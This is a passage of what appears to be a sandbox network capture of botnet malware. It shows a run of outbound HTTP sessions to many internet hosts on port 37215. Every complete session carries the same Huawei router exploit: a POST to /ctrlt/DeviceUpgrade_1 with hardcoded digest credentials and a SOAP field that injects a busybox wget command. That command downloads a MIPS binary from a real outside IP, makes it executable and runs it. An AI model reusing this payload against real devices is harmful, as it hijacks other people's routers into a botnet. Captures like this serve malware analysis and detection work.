6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.13	33836	41.161.161.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.906255960 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.13	51602	156.230.96.138	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.907505989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.13	58970	156.202.174.167	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.908641100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.13	54426	41.223.106.15	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.909928083 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.13	47504	197.148.228.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.910933971 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.13	33880	41.213.29.197	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.911966085 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.13	59684	41.187.204.30	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.913436890 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.13	59818	197.246.148.60	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.914937973 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.13	50156	156.113.136.169	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.916548014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.13	47136	197.51.204.222	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.917907953 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.13	44646	197.188.36.80	37215

Timestamp	Bytes transferred	Direction	Data
